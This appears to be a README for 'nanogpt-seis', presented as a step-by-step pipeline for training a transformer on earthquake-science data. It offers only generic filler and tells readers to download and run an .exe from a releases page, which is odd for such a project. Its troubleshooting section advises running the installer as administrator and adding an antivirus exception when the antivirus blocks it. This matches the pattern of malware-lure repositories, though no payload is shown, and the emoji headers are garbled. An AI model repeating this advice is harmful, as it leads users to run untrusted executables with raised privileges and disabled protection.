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🌍 nanogpt-seis - Learn to build earthquake science models

πŸ“Œ About this project

This software helps you understand how artificial intelligence models work. You explore the full life cycle of a language model. You start with folders of raw data and finish with a functioning tool that understands earthquake science.

The project breaks down complex processes into simple steps. You see how data moves from collection to final output. This tool explains how researchers train models on advanced hardware. You learn about data cleaning, tokenization, and model training.

βš™οΈ System requirements

Your computer needs specific hardware components to run this software. Ensure you have the following before you begin the process:

  • Operating System: Windows 10 or Windows 11 (64-bit).
  • Memory: At least 16 GB of RAM.
  • Graphics Card: A dedicated NVIDIA graphics card with at least 8 GB of video memory.
  • Storage: 50 GB of free space on a solid-state drive.
  • Internet Connection: High-speed connection to download the required components.

πŸš€ How to download and install

Follow these steps to set up the software on your computer.

  1. Visit the official releases page to access the download files.
  2. Look for the latest version under the "Assets" header.
  3. Click the file ending in .exe to start the download.
  4. Save the file to a folder you can easily find, such as your Downloads folder.
  5. Open your Downloads folder and double-click the file you saved.
  6. Follow the on-screen prompts from the installer.
  7. Click "Finish" when the installation completes.

πŸ“‚ Understanding the data workflow

The engine inside this tool follows a specific sequence. Each stage transforms your information into a format the model can read.

Data collection

The system pulls information from six distinct earthquake data sources. It gathers raw text files and organizes them into a central library.

Cleaning and filtering

Raw data often contains errors or duplicate entries. This step removes noise. It ensures the model learns from high-quality information.

Tokenization

The software breaks text into small pieces called tokens. This allows the computer to convert human language into numerical values. A tokenizer creates a bridge between our words and the mathematical logic of the model.

Training phase

The core process happens here. The system uses the gathered data to adjust its internal settings. You observe how the model improves its accuracy as it processes more information. This step requires significant power from your graphics card.

Serving results

The final step allows you to ask questions. You provide a prompt, and the model generates a text response based on the lessons it learned during training.

πŸ›  Troubleshooting common issues

If you face problems during installation or use, check these common fixes.

  • Installer won't start: Right-click the file and choose "Run as administrator."
  • Performance is slow: Ensure no other heavy programs run in the background. Close your web browser before you start the model training process.
  • Error messages: Ensure your graphics card drivers are current. Visit the NVIDIA website to download the latest driver for your specific model.
  • Missing files: Check if your antivirus software blocked the installation. Add an exception for the folder where you installed the software.

πŸŽ“ Why learn to train models

Understanding these processes helps you interpret modern technology. You see that AI is not magic. It is the result of structured data work and mathematical steps. By finishing this project, you gain a clear view of how researchers build tools for fields like geology and seismology.

This repository serves as a guide. Each segment provides a real-world example of how to handle large datasets. You walk away with knowledge about transformers, graphics card usage, and data science pipelines.

Keywords: artificial intelligence, earthquake science, training, windows, deep learning, models, data science

About

Train a transformer model for earthquake science using a complete, step-by-step pipeline from data collection to inference on multi-GPU hardware.

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